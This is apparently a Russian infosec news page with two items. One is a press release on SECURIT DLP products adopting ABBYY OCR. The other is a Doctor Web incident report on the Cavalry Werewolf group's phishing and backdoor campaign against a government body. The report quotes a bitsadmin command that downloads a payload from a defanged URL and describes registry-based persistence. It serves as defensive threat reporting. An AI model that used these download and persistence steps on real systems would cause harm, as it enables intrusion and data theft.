Технологии ABBYY помогут SECURIT DLP распознавать конфиденциальные данные в графических документах

Технологии ABBYY помогут SECURIT DLP распознавать конфиденциальные данные в графических документах

Компания SECURIT, объявляет о заключении партнерского соглашения с компанией ABBYY. В рамках соглашения SECURIT сможет использовать технологию распознавания текстов ABBYY в продуктах Zlock и Zgate. Решения Zlock и Zgate, входящие в комплекс SECURIT DLP, предназначены для защиты от утечек конфиденциальной информации и персональных данных. Zlock и Zgate анализируют все выходящие за пределы корпоративной сети документы и блокируют их передачу в случае выявления нарушений действующих политик безопасности. 



Интеграция с ABBYY FineReader Engine позволит DLP-решениям SECURIT распознавать и предотвращать утечки конфиденциальных данных, содержащихся в отсканированных, рукописных и других графических документах. Для анализа распознанных текстов может использоваться более десяти технологий SECURIT. Среди них простая и эффективная технология «цифровых отпечатков» DocuPrints, лингвистический движок MorphoLogic для анализа динамических и недавно созданных документов и интеллектуальная технология SmartID с возможностью «обучения» в процессе своей работы. Для обнаружения конфиденциальной информации методом регулярных выражений в системе имеется более 50 предустановленных шаблонов персональных данных.

ABBYY FineReader Engine поддерживает распознавание текстов на 198 языках, в том числе на английском, белорусском, испанском, итальянском, казахском, китайском, немецком, русском, украинском, французском и японском. Высокие качество и скорость распознавания обеспечиваются применением собственных технологий предварительной подготовки документа — перед распознаванием происходит разделение текста и фона, исправляются возможные перекосы и «перевернутые» на 90 или 180 градусов страницы, корректируется масштаб, удаляются артефакты и искажения, обычно возникающие при сканировании или фотосъемке. ABBYY FineReader Engine поддерживает распознавание текста в BMP, DJVU, GIF, JPEG, PDF, PNG, TIFF и других распространенных форматах.

«Мы выбрали ABBYY, так как привыкли работать с лидерами в своих областях. Инструментарий для разработчика ABBYY FineReader Engine является лучшим решением для распознавания текстов и поддерживает множество языков, форматов файлов и дополнительных технологий, его использование существенно расширяет возможности наших DLP-решений. Кроме того, нас приятно удивила стабильность и скорость ABBYY SDK по сравнению с другими OCR-продуктами», — заявил Алексей Раевский, генеральный директор компании SECURIT.

«Системы защиты конфиденциальных данных от утечек должны поддерживать анализ потоков информации любого формата. В реальности, к сожалению, пока далеко не все DLP-системы способны предотвращать утечку конфиденциальных документов в графическом виде (сканы документов в pdf и других форматах, снимки экранов). Мы рады, что технологии распознавания ABBYY в составе продуктов SECURIT смогут сделать графические документы "видимыми" для процесса автоматического контроля и позволят еще более эффективно решать задачу защиты от утечек», — сказал Дмитрий Шушкин, директор по корпоративным проектам компании ABBYY Россия.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru